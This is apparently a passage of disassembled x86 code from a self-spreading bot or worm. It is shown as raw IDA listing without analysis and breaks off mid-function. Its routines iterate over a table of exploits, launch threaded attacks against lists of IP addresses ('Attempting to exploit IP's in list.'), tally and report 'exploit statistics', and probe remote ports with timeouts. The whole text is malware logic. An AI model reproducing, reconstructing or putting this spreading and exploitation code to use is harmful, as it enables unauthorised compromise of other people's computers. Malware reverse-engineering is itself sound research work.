var_14C = dword ptr -14Ch
var_11A = dword ptr -11Ah
var_112 = dword ptr -112h
var_10E = dword ptr -10Eh
var_10A = byte ptr -10Ah
var_8A = dword ptr -8Ah
var_86 = byte ptr -86h
var_6 = byte ptr -6
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14Ch
push 14Ch
lea eax, [ebp+var_14C]
push [ebp+arg_0]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
push 1
push [ebp+var_10E]
call sub_40344B
lea eax, [ebp+var_10A]
push eax
push [ebp+var_10E]
call sub_4034DE
add esp, 20h
test eax, eax
jnz short loc_40ED31
push [ebp+var_10E]
call sub_403D70
jmp loc_40EE1C
; ---------------------------------------------------------------------------
loc_40ED31: ; CODE XREF: sub_40ECD6+49j
cmp [ebp+var_112], 0
jz short loc_40ED52
push [ebp+var_10E]
call sub_40EB16
cmp [ebp+var_112], eax
pop ecx
jnz loc_40EE11
loc_40ED52: ; CODE XREF: sub_40ECD6+62j
cmp [ebp+var_8A], 1
jnz short loc_40ED6C
lea eax, [ebp+var_6]
push eax
push [ebp+var_10E]
call sub_403530
jmp short loc_40EDB9
; ---------------------------------------------------------------------------
loc_40ED6C: ; CODE XREF: sub_40ECD6+83j
cmp [ebp+var_8A], 2
jnz short loc_40EDAA
lea eax, [ebp+var_6]
push 0Ah
push eax
push 0FFFFh
push 401h
call sub_40B459
pop ecx
pop ecx
push eax
call sub_41192A ; _itoa
lea eax, [ebp+var_10A]
push eax
lea eax, [ebp+var_86]
push eax
call sub_4114B8 ; _mbscpy
add esp, 14h
jmp short loc_40EDCD
; ---------------------------------------------------------------------------
loc_40EDAA: ; CODE XREF: sub_40ECD6+9Dj
call sub_40E8DB
push eax
lea eax, [ebp+var_6]
push eax
call sub_4114B8 ; _mbscpy
loc_40EDB9: ; CODE XREF: sub_40ECD6+94j
lea eax, [ebp+var_86]
push offset dword_41A2E8
push eax
call sub_4114B8 ; _mbscpy
add esp, 10h
loc_40EDCD: ; CODE XREF: sub_40ECD6+D2j
lea eax, [ebp+var_14C]
push eax
call [ebp+var_11A]
cmp [ebp+var_8A], 1
jnz short loc_40EDF6
push [ebp+var_10E]
push [ebp+var_14C]
call sub_40E707
jmp short loc_40EE0F
; ---------------------------------------------------------------------------
loc_40EDF6: ; CODE XREF: sub_40ECD6+10Bj
cmp [ebp+var_8A], 2
jnz short loc_40EE11
lea eax, [ebp+var_6]
push eax
lea eax, [ebp+var_86]
push eax
call sub_40E829
loc_40EE0F: ; CODE XREF: sub_40ECD6+11Ej
pop ecx
pop ecx
loc_40EE11: ; CODE XREF: sub_40ECD6+76j
; sub_40ECD6+127j
push [ebp+var_10E]
call sub_403D92
loc_40EE1C: ; CODE XREF: sub_40ECD6+56j
pop ecx
xor eax, eax
leave
retn 4
sub_40ECD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EE23 proc near ; DATA XREF: sub_40F2C2+18Do
var_758 = qword ptr -758h
var_740 = byte ptr -740h
var_640 = byte ptr -640h
var_63F = byte ptr -63Fh
var_540 = byte ptr -540h
var_53F = byte ptr -53Fh
var_440 = dword ptr -440h
var_43C = byte ptr -43Ch
var_429 = byte ptr -429h
var_37E = dword ptr -37Eh
var_2F4 = dword ptr -2F4h
var_2F0 = byte ptr -2F0h
var_1E8 = byte ptr -1E8h
var_1DA = dword ptr -1DAh
var_1D6 = dword ptr -1D6h
var_1D2 = dword ptr -1D2h
var_1CE = byte ptr -1CEh
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_43 = byte ptr -43h
var_37 = byte ptr -37h
var_36 = byte ptr -36h
var_28 = byte ptr -28h
var_14 = qword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 740h
push esi
push edi
push 2C9h
lea eax, [ebp+var_2F4]
push [ebp+arg_0]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
lea eax, [ebp+var_1E8]
push eax
call sub_4059F0
add esp, 14h
test al, al
jz short loc_40EE78
push 14Ch
lea eax, [ebp+var_440]
push 0
push eax
call sub_4114E8 ; memset
add esp, 0Ch
jmp loc_40EF02
; ---------------------------------------------------------------------------
loc_40EE78: ; CODE XREF: sub_40EE23+38j
xor esi, esi
mov edi, offset dword_417D98
loc_40EE7F: ; CODE XREF: sub_40EE23+8Aj
lea eax, [ebp+var_28]
push edi
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_28]
push eax
call sub_40B5E1
lea eax, [ebp+var_1E8]
push eax
lea eax, [ebp+var_28]
push eax
call sub_411924 ; _strcmpi
add esp, 14h
test eax, eax
jz short loc_40EEAF
inc esi
add edi, 3Ah
jmp short loc_40EE7F
; ---------------------------------------------------------------------------
loc_40EEAF: ; CODE XREF: sub_40EE23+84j
imul esi, 3Ah
push 3Ah
lea eax, [ebp+var_43C]
lea esi, dword_417D98[esi]
push esi
push eax
mov [ebp+var_440], esi
call sub_4114D0 ; memcpy
lea eax, [ebp+var_43C]
push eax
call sub_40B5E1
lea eax, [ebp+var_429]
push eax
call sub_40B5E1
and [ebp+var_37E], 0
lea eax, [ebp+var_429]
push eax
lea eax, [ebp+var_1E8]
push eax
call sub_4114B8 ; _mbscpy
add esp, 1Ch
loc_40EF02: ; CODE XREF: sub_40EE23+50j
lea eax, [ebp+var_2F0]
push eax
call sub_405D8C
test eax, eax
pop ecx
jz short loc_40EF79
mov dl, byte_4191D0
push 3Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_53F]
mov [ebp+var_540], dl
rep stosd
stosw
stosb
push 3Fh
xor eax, eax
pop ecx
lea edi, [ebp+var_63F]
mov [ebp+var_640], dl
rep stosd
stosw
stosb
lea eax, [ebp+var_640]
push eax
lea eax, [ebp+var_2F0]
push eax
lea eax, [ebp+var_540]
push eax
call sub_405C9C
add esp, 0Ch
test eax, eax
jz short loc_40EF79
push [ebp+var_1D2]
call sub_40396E
test eax, eax
pop ecx
mov [ebp+var_4], eax
jnz short loc_40EF8C
loc_40EF79: ; CODE XREF: sub_40EE23+EEj
; sub_40EE23+141j
push [ebp+var_2F4]
call sub_406E6F
pop ecx
xor eax, eax
jmp loc_40F2BC
; ---------------------------------------------------------------------------
loc_40EF8C: ; CODE XREF: sub_40EE23+154j
mov eax, [ebp+var_440]
push ebx
test eax, eax
jz loc_40F02E
test byte ptr [eax+32h], 1
jz loc_40F02E
call sub_403338
mov ecx, eax
push 2
neg ecx
sbb ecx, ecx
pop edx
add ecx, 3
cmp [ebp+var_37], 0
mov [ebp+var_37E], ecx
jz short loc_40EFD6
mov esi, [ebp+var_440]
test [esi+32h], dl
jnz short loc_40EFD6
push 1
pop ecx
mov [ebp+var_37E], ecx
loc_40EFD6: ; CODE XREF: sub_40EE23+19Dj
; sub_40EE23+1A8j
cmp [ebp+var_47], 0
jz short loc_40EFE4
mov ecx, edx
mov [ebp+var_37E], ecx
loc_40EFE4: ; CODE XREF: sub_40EE23+1B7j
cmp [ebp+var_46], 0
jz short loc_40EFF3
push 3
pop ecx
mov [ebp+var_37E], ecx
loc_40EFF3: ; CODE XREF: sub_40EE23+1C5j
cmp ecx, 3
jnz short loc_40F02E
test eax, eax
jz short loc_40F004
mov [ebp+var_37E], edx
jmp short loc_40F02E
; ---------------------------------------------------------------------------
loc_40F004: ; CODE XREF: sub_40EE23+1D7j
mov al, [ebp+var_43]
mov bl, [ebp+var_36]
and [ebp+var_43], 0
mov byte ptr [ebp+arg_0+3], al
lea eax, [ebp+var_1CE]
push 0
push eax
mov [ebp+var_36], 1
call sub_40EA2F
mov al, byte ptr [ebp+arg_0+3]
pop ecx
pop ecx
mov [ebp+var_36], bl
mov [ebp+var_43], al
loc_40F02E: ; CODE XREF: sub_40EE23+172j
; sub_40EE23+17Cj ...
mov esi, offset dword_419678
push esi
call sub_407200
pop ecx
lea eax, [ebp+var_1E8]
push [ebp+var_1DA]
push eax
lea eax, [ebp+var_2F0]
push eax
mov eax, [ebp+var_2F4]
add eax, 14h
push offset dword_418230
push eax
call sub_4114DC ; sprintf
push esi
call sub_40720B
add esp, 18h
lea eax, [ebp+var_1E8]
push [ebp+var_1DA]
push eax
lea eax, [ebp+var_2F0]
push eax
mov eax, [ebp+var_2F4]
push dword ptr [eax]
lea eax, [ebp+var_1CE]
push offset dword_4181F8
push eax
call sub_4096CB
xor ebx, ebx
add esp, 18h
cmp [ebp+var_440], ebx
mov esi, 3E8h
jnz short loc_40F0B1
push esi
call dword_4120A4 ; Sleep
loc_40F0B1: ; CODE XREF: sub_40EE23+285j
mov [ebp+var_8], ebx
call sub_4114E2 ; clock
mov [ebp+var_C], eax
mov [ebp+arg_0], ebx
loc_40F0BF: ; CODE XREF: sub_40EE23+30Fj
; sub_40EE23+34Cj ...
mov eax, [ebp+var_2F4]
cmp [eax+4], ebx
jnz loc_40F265
mov edi, [ebp+arg_0]
sub edi, [ebp+var_C]
call sub_4114E2 ; clock
mov ecx, [ebp+var_1DA]
add eax, edi
imul ecx, 3E8h
cmp eax, ecx
jnb loc_40F265
lea eax, [ebp+var_640]
push eax
lea eax, [ebp+var_540]
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_640]
push eax
lea eax, [ebp+var_2F0]
push eax
lea eax, [ebp+var_540]
push eax
call sub_405C9C
lea eax, [ebp+var_540]
push offset dword_41A2E8
push eax
call sub_41177E ; strcmp
add esp, 1Ch
test eax, eax
jz short loc_40F0BF
push [ebp+var_4]
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_540]
push eax
call sub_403B44
add esp, 0Ch
push eax
call sub_403996
pop ecx
test eax, eax
pop ecx
jz short loc_40F175
call sub_4114E2 ; clock
mov ecx, [ebp+var_1DA]
add eax, edi
imul ecx, 3E8h
cmp eax, ecx
jb loc_40F0BF
loc_40F175: ; CODE XREF: sub_40EE23+335j
push [ebp+var_1D6]
call dword_4120A4 ; Sleep
push [ebp+var_4]
call sub_403A1B
test eax, eax
pop ecx
jz loc_40F255
loc_40F192: ; CODE XREF: sub_40EE23+39Fj
; sub_40EE23+3DAj ...
push [ebp+var_4]
call sub_403AB5
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_40F255
inc [ebp+var_8]
cmp [ebp+var_440], 0
jz short loc_40F1FF
mov edi, 14Ch
push edi
call sub_4114C4 ; malloc
test eax, eax
pop ecx
mov dword ptr [ebp+var_14+4], eax
jz short loc_40F192
lea ecx, [ebp+var_440]
push edi
push ecx
push eax
call sub_4114D0 ; memcpy
mov edi, dword ptr [ebp+var_14+4]
push edi
push offset sub_40ECD6
mov [edi+3Eh], ebx
call sub_406C5D
add esp, 14h
test eax, eax
jnz short loc_40F1F2
push edi
call sub_4114CA ; free
jmp short loc_40F1FC
; ---------------------------------------------------------------------------
loc_40F1F2: ; CODE XREF: sub_40EE23+3C5j
push [ebp+var_4]
push ebx
call sub_4039C6
pop ecx
loc_40F1FC: ; CODE XREF: sub_40EE23+3CDj
pop ecx
jmp short loc_40F192
; ---------------------------------------------------------------------------
loc_40F1FF: ; CODE XREF: sub_40EE23+38Cj
mov eax, [ebp+var_2F4]
cmp dword ptr [eax+4], 0
jnz short loc_40F255
lea eax, [ebp+var_740]
push eax
push ebx
call sub_4034DE
pop ecx
mov bl, [ebp+var_36]
pop ecx
lea eax, [ebp+var_1E8]
and [ebp+var_36], 0
push eax
lea eax, [ebp+var_740]
push eax
lea eax, [ebp+var_1CE]
push offset dword_4181E4
push eax
call sub_4096CB
add esp, 10h
mov [ebp+var_36], bl
push esi
call dword_4120A4 ; Sleep
add [ebp+arg_0], esi
jmp loc_40F192
; ---------------------------------------------------------------------------
loc_40F255: ; CODE XREF: sub_40EE23+369j
; sub_40EE23+37Cj ...
push [ebp+var_4]
call sub_403AF7
pop ecx
xor ebx, ebx
jmp loc_40F0BF
; ---------------------------------------------------------------------------
loc_40F265: ; CODE XREF: sub_40EE23+2A5j
; sub_40EE23+2C6j
push [ebp+var_8]
call sub_4114E2 ; clock
sub eax, [ebp+var_C]
mov dword ptr [ebp+var_14+4], ebx
push ecx
push ecx
mov dword ptr [ebp+var_14], eax
lea eax, [ebp+var_1E8]
fild [ebp+var_14]
fmul flt_412280
fstp [esp+758h+var_758]
push eax
lea eax, [ebp+var_2F0]
push eax
lea eax, [ebp+var_1CE]
push offset unk_4181A0
push eax
call sub_4096CB
push [ebp+var_4]
call sub_403B2F
push [ebp+var_2F4]
call sub_406E6F
add esp, 24h
xor eax, eax
pop ebx
loc_40F2BC: ; CODE XREF: sub_40EE23+164j
pop edi
pop esi
leave
retn 4
sub_40EE23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F2C2 proc near ; CODE XREF: sub_407A76+12DDp
var_18 = byte ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 18h
push ebx
xor ebx, ebx
cmp [ebp+arg_4], ebx
push esi
push edi
jz loc_40F45C
mov edi, [ebp+arg_8]
cmp edi, ebx
jz loc_40F45C
push edi
call sub_4059F0
test al, al
pop ecx
jz short loc_40F313
push edi
call sub_4032A7
test eax, eax
pop ecx
jz loc_40F45C
loc_40F2FB: ; CODE XREF: sub_40F2C2+87j
cmp [ebp+arg_C], ebx
mov esi, 15180h
jz short loc_40F35A
push [ebp+arg_C]
call sub_41151C ; atoi
pop ecx
mov [ebp+var_4], eax
jmp short loc_40F35D
; ---------------------------------------------------------------------------
loc_40F313: ; CODE XREF: sub_40F2C2+28j
cmp byte ptr dword_417D98, 0
jz loc_40F45C
mov eax, offset dword_417D98
mov esi, eax
loc_40F327: ; CODE XREF: sub_40F2C2+91j
push eax
lea eax, [ebp+var_18]
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_18]
push eax
call sub_40B5E1
lea eax, [ebp+var_18]
push edi
push eax
call sub_411924 ; _strcmpi
add esp, 14h
test eax, eax
jz short loc_40F2FB
add esi, 3Ah
mov eax, esi
cmp byte ptr [esi], 0
jnz short loc_40F327
jmp loc_40F45C
; ---------------------------------------------------------------------------
loc_40F35A: ; CODE XREF: sub_40F2C2+41j
mov [ebp+var_4], esi
loc_40F35D: ; CODE XREF: sub_40F2C2+4Fj
cmp [ebp+var_4], ebx
jz short loc_40F367
cmp [ebp+var_4], esi
jbe short loc_40F36A
loc_40F367: ; CODE XREF: sub_40F2C2+9Ej
mov [ebp+var_4], esi
loc_40F36A: ; CODE XREF: sub_40F2C2+A3j
cmp [ebp+arg_10], ebx
mov esi, 7D0h
jz short loc_40F382
push [ebp+arg_10]
call sub_41151C ; atoi
pop ecx
mov [ebp+arg_10], eax
jmp short loc_40F385
; ---------------------------------------------------------------------------
loc_40F382: ; CODE XREF: sub_40F2C2+B0j
mov [ebp+arg_10], esi
loc_40F385: ; CODE XREF: sub_40F2C2+BEj
cmp [ebp+arg_10], 32h
jb short loc_40F394
cmp [ebp+arg_10], 0EA60h
jbe short loc_40F397
loc_40F394: ; CODE XREF: sub_40F2C2+C7j
mov [ebp+arg_10], esi
loc_40F397: ; CODE XREF: sub_40F2C2+D0j
cmp [ebp+arg_14], ebx
mov esi, 100h
jz short loc_40F3AF
push [ebp+arg_14]
call sub_41151C ; atoi
pop ecx
mov [ebp+arg_C], eax
jmp short loc_40F3B2
; ---------------------------------------------------------------------------
loc_40F3AF: ; CODE XREF: sub_40F2C2+DDj
mov [ebp+arg_C], esi
loc_40F3B2: ; CODE XREF: sub_40F2C2+EBj
cmp [ebp+arg_C], ebx
jz short loc_40F3C0
cmp [ebp+arg_C], 200h
jbe short loc_40F3C3
loc_40F3C0: ; CODE XREF: sub_40F2C2+F3j
mov [ebp+arg_C], esi
loc_40F3C3: ; CODE XREF: sub_40F2C2+FCj
push 2C9h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
cmp esi, ebx
jz loc_40F45C
push 108h
lea edi, [esi+4]
push [ebp+arg_4]
push edi
call sub_4059C2
push 0Eh
lea ebx, [esi+10Ch]
push [ebp+arg_8]
push ebx
call sub_4059C2
mov eax, [ebp+var_4]
push 1A3h
push [ebp+arg_0]
mov [esi+11Ah], eax
mov eax, [ebp+arg_10]
mov [esi+11Eh], eax
mov eax, [ebp+arg_C]
mov [esi+122h], eax
lea eax, [esi+126h]
push eax
call sub_4114D0 ; memcpy
mov ecx, [ebp+arg_0]
add esp, 24h
xor eax, eax
push [ebp+arg_C]
cmp [ecx+18Bh], al
push [ebp+arg_10]
setz al
push dword ptr [esi+11Ah]
push ebx
push edi
push offset unk_41825C
push eax
push esi
push offset sub_40EE23
call sub_406D58
add esp, 24h
loc_40F45C: ; CODE XREF: sub_40F2C2+Ej
; sub_40F2C2+19j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40F2C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F461 proc near ; DATA XREF: sub_40F6CD+4Bo
var_488 = dword ptr -488h
var_484 = byte ptr -484h
var_304 = byte ptr -304h
var_17D = byte ptr -17Dh
var_17C = byte ptr -17Ch
var_179 = byte ptr -179h
var_16D = byte ptr -16Dh
var_16C = byte ptr -16Ch
var_16B = byte ptr -16Bh
var_160 = dword ptr -160h
var_15C = byte ptr -15Ch
var_149 = byte ptr -149h
var_9E = dword ptr -9Eh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 488h
push ebx
push esi
push edi
push 327h
push [ebp+arg_0]
lea eax, [ebp+var_488]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
mov eax, [ebp+var_488]
add esp, 10h
push dword ptr [eax]
lea eax, [ebp+var_304]
push offset unk_418308
push eax
call sub_4096CB
lea eax, [ebp+var_14]
xor edi, edi
push eax
lea eax, [ebp+var_484]
push offset dword_413F54
push eax
mov [ebp+var_C], edi
mov [ebp+var_8], edi
call sub_405E4F
add esp, 18h
mov [ebp+var_10], eax
loc_40F4C8: ; CODE XREF: sub_40F461+236j
inc [ebp+var_C]
cmp off_417DC6, edi
jz loc_40F675
mov [ebp+var_4], offset dword_417D98
loc_40F4DE: ; CODE XREF: sub_40F461+20Ej
mov esi, [ebp+var_4]
push 3Ah
lea eax, [ebp+var_15C]
push esi
push eax
call sub_4114D0 ; memcpy
lea eax, [ebp+var_15C]
mov [ebp+var_160], esi
push eax
call sub_40B5E1
lea eax, [ebp+var_149]
push eax
call sub_40B5E1
mov eax, [ebp+var_160]
add esp, 14h
cmp eax, edi
jz loc_40F5CF
test byte ptr [eax+32h], 1
jz loc_40F5CF
call sub_403338
mov ecx, eax
neg ecx
sbb ecx, ecx
add ecx, 3
cmp [ebp+var_16D], 0
mov [ebp+var_9E], ecx
jz short loc_40F55B
mov edx, [ebp+var_160]
test byte ptr [edx+32h], 2
jnz short loc_40F55B
push 1
pop ecx
mov [ebp+var_9E], ecx
loc_40F55B: ; CODE XREF: sub_40F461+E3j
; sub_40F461+EFj
cmp [ebp+var_17D], 0
jz short loc_40F56D
push 2
pop ecx
mov [ebp+var_9E], ecx
loc_40F56D: ; CODE XREF: sub_40F461+101j
cmp [ebp+var_17C], 0
jz short loc_40F57F
push 3
pop ecx
mov [ebp+var_9E], ecx
loc_40F57F: ; CODE XREF: sub_40F461+113j
cmp ecx, 3
jnz short loc_40F5CF
cmp eax, edi
jz short loc_40F594
mov [ebp+var_9E], 2
jmp short loc_40F5CF
; ---------------------------------------------------------------------------
loc_40F594: ; CODE XREF: sub_40F461+125j
mov al, [ebp+var_179]
mov bl, [ebp+var_16C]
and [ebp+var_179], 0
mov byte ptr [ebp+arg_0+3], al
lea eax, [ebp+var_304]
push edi
push eax
mov [ebp+var_16C], 1
call sub_40EA2F
mov al, byte ptr [ebp+arg_0+3]
pop ecx
pop ecx
mov [ebp+var_16C], bl
mov [ebp+var_179], al
loc_40F5CF: ; CODE XREF: sub_40F461+B8j
; sub_40F461+C2j ...
mov cl, [ebp+var_16B]
mov eax, 1388h
neg cl
sbb ecx, ecx
and ecx, eax
add ecx, eax
lea eax, [ebp+var_149]
push ecx
push edi
push eax
push [ebp+var_10]
call sub_403C04
mov ebx, eax
add esp, 10h
cmp ebx, edi
jz short loc_40F665
push 14Ch
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
cmp esi, edi
jz short loc_40F665
lea eax, [ebp+var_160]
push 14Ch
push eax
push esi
call sub_4114D0 ; memcpy
inc [ebp+var_8]
push esi
push offset sub_40ECD6
mov [esi+3Eh], ebx
call sub_406C5D
add esp, 14h
test eax, eax
jnz short loc_40F647
push ebx
call sub_403D92
push esi
call sub_4114CA ; free
pop ecx
pop ecx
jmp short loc_40F665
; ---------------------------------------------------------------------------
loc_40F647: ; CODE XREF: sub_40F461+1D4j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_304]
push [ebp+var_10]
push offset dword_4182D8
push eax
call sub_4096CB
add esp, 10h
loc_40F665: ; CODE XREF: sub_40F461+199j
; sub_40F461+1AAj ...
add [ebp+var_4], 3Ah
mov eax, [ebp+var_4]
cmp [eax+2Eh], edi
jnz loc_40F4DE
loc_40F675: ; CODE XREF: sub_40F461+70j
lea eax, [ebp+var_14]
push eax
push offset dword_413F54
push edi
call sub_405E4F
add esp, 0Ch
mov [ebp+var_10], eax
cmp eax, edi
mov eax, [ebp+var_488]
jz short loc_40F69D
cmp [eax+4], edi
jz loc_40F4C8
loc_40F69D: ; CODE XREF: sub_40F461+231j
push [ebp+var_C]
push [ebp+var_8]
push dword ptr [eax]
lea eax, [ebp+var_304]
push offset dword_418294
push eax
call sub_4096CB
push [ebp+var_488]
call sub_406E6F
add esp, 18h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40F461 endp
; =============== S U B R O U T I N E =======================================
sub_40F6CD proc near ; CODE XREF: sub_407A76+709p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 0
push esi
jz short loc_40F725
push 327h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_40F725
push 180h
lea eax, [esi+4]
push [esp+8+arg_4]
push eax
call sub_4059C2
push 1A3h
lea eax, [esi+184h]
push [esp+14h+arg_0]
push eax
call sub_4114D0 ; memcpy
add esp, 18h
push offset aAttemptingToEx ; "Attempting to exploit IP's in list."
push 0
push esi
push offset sub_40F461
call sub_406D58
add esp, 10h
loc_40F725: ; CODE XREF: sub_40F6CD+6j
; sub_40F6CD+17j
pop esi
retn
sub_40F6CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F727 proc near ; DATA XREF: sub_40F7FD+29o
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_21 = byte ptr -21h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_1BC]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
lea eax, [ebp+var_3BC]
push offset aExploitStatist ; "Exploit statistics - "
push eax
call sub_4114B8 ; _mbscpy
xor ebx, ebx
add esp, 18h
cmp byte ptr dword_417D98, bl
jz short loc_40F7D2
push esi
mov esi, offset dword_417D98
mov eax, esi
loc_40F773: ; CODE XREF: sub_40F727+A8j
push 12h
push eax
lea eax, [ebp+var_14]
push eax
call sub_4059C2
lea eax, [ebp+var_14]
push eax
call sub_40B5E1
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_3BC]
push eax
call sub_4114EE ; _mbscat
add esp, 18h
lea eax, [ebp+var_3BC]
push dword ptr [esi+2Ah]
push offset dword_41835C
push eax
call sub_4114BE ; strlen
pop ecx
lea eax, [ebp+eax+var_3BC]
push eax
call sub_4114DC ; sprintf
add esp, 0Ch
cmp [ebp+var_21], bl
jz short loc_40F7C8
mov [esi+2Ah], ebx
loc_40F7C8: ; CODE XREF: sub_40F727+9Cj
add esi, 3Ah
mov eax, esi
cmp [esi], bl
jnz short loc_40F773
pop esi
loc_40F7D2: ; CODE XREF: sub_40F727+42j
lea eax, [ebp+var_3BC]
mov [ebp+var_20], bl
push eax
lea eax, [ebp+var_1B8]
push eax
call sub_4096CB
push [ebp+var_1BC]
call sub_406E6F
add esp, 0Ch
xor eax, eax
pop ebx
leave
retn 4
sub_40F727 endp
; =============== S U B R O U T I N E =======================================
sub_40F7FD proc near ; CODE XREF: sub_407A76+746p
arg_0 = dword ptr 4
push esi
push 1A7h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_40F833
push [esp+4+arg_0]
lea eax, [esi+4]
push eax
call sub_40457C
pop ecx
pop ecx
push offset aListingExploit ; "Listing exploit statistics"
push 0
push esi
push offset sub_40F727
call sub_406D58
add esp, 10h
loc_40F833: ; CODE XREF: sub_40F7FD+10j
pop esi
retn
sub_40F7FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F835 proc near ; DATA XREF: sub_40F908+AFo
var_2B4 = dword ptr -2B4h
var_2B0 = byte ptr -2B0h
var_1B0 = byte ptr -1B0h
var_1AA = dword ptr -1AAh
var_1A6 = byte ptr -1A6h
var_E = byte ptr -0Eh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2B4h
push esi
push 2B1h
push [ebp+arg_0]
lea eax, [ebp+var_2B4]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
call sub_4114E2 ; clock
push [ebp+var_1AA]
mov esi, eax
lea eax, [ebp+var_1B0]
push 0
push eax
lea eax, [ebp+var_2B0]
push eax
call sub_403C04
add esp, 20h
test eax, eax
jz short loc_40F8B7
push eax
call sub_403D92
pop ecx
call sub_4114E2 ; clock
sub eax, esi
push eax
lea eax, [ebp+var_1B0]
push eax
lea eax, [ebp+var_2B0]
push eax
lea eax, [ebp+var_1A6]
push offset dword_418408
push eax
call sub_4096CB
add esp, 14h
jmp short loc_40F8F5
; ---------------------------------------------------------------------------
loc_40F8B7: ; CODE XREF: sub_40F835+4Dj
cmp [ebp+var_E], 0
jnz short loc_40F8F5
call sub_4114E2 ; clock
sub eax, esi
cmp eax, [ebp+var_1AA]
lea eax, [ebp+var_1B0]
push eax
lea eax, [ebp+var_2B0]
push eax
jb short loc_40F8E1
push offset dword_4183D0
jmp short loc_40F8E6
; ---------------------------------------------------------------------------
loc_40F8E1: ; CODE XREF: sub_40F835+A3j
push offset dword_4183A0
loc_40F8E6: ; CODE XREF: sub_40F835+AAj
lea eax, [ebp+var_1A6]
push eax
call sub_4096CB
add esp, 10h
loc_40F8F5: ; CODE XREF: sub_40F835+80j
; sub_40F835+86j
push [ebp+var_2B4]
call sub_406E6F
pop ecx
xor eax, eax
pop esi
leave
retn 4
sub_40F835 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F908 proc near ; CODE XREF: sub_407A76+1021p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
push esi
push edi
jz loc_40F9C4
mov ebx, [ebp+arg_8]
test ebx, ebx
jnz short loc_40F924
mov ebx, offset a80 ; "80"
loc_40F924: ; CODE XREF: sub_40F908+15j
push ebx
call sub_41151C ; atoi
test eax, eax
pop ecx
jz loc_40F9C4
cmp eax, 0FFFFh
ja loc_40F9C4
cmp [ebp+arg_C], 0
jz short loc_40F951
push [ebp+arg_C]
call sub_41151C ; atoi
pop ecx
mov edi, eax
jmp short loc_40F956
; ---------------------------------------------------------------------------
loc_40F951: ; CODE XREF: sub_40F908+3Aj
mov edi, 0EA60h
loc_40F956: ; CODE XREF: sub_40F908+47j
test edi, edi
jz short loc_40F9C4
cmp edi, 36EE80h
ja short loc_40F9C4
push 2B1h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_40F9C4
push 100h
lea eax, [esi+4]
push [ebp+arg_4]
push eax
call sub_4059C2
push 6
lea eax, [esi+104h]
push ebx
push eax
call sub_4059C2
push [ebp+arg_0]
lea eax, [esi+10Eh]
mov [esi+10Ah], edi
push eax
call sub_40457C
add esp, 20h
push ebx
push [ebp+arg_4]
push offset dword_418438
push 0
push esi
push offset sub_40F835
call sub_406D58
add esp, 18h
loc_40F9C4: ; CODE XREF: sub_40F908+Aj
; sub_40F908+25j ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40F908 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F9C9 proc near ; DATA XREF: sub_40FBA7+169o
var_2E0 = qword ptr -2E0h
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_1C4 = dword ptr -1C4h
var_1C0 = dword ptr -1C0h
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_20 = byte ptr -20h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2C8h
push ebx
push 2B3h
push [ebp+arg_0]
lea eax, [ebp+var_2C8]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
push [ebp+var_1BC]
mov ebx, [ebp+var_1C4]
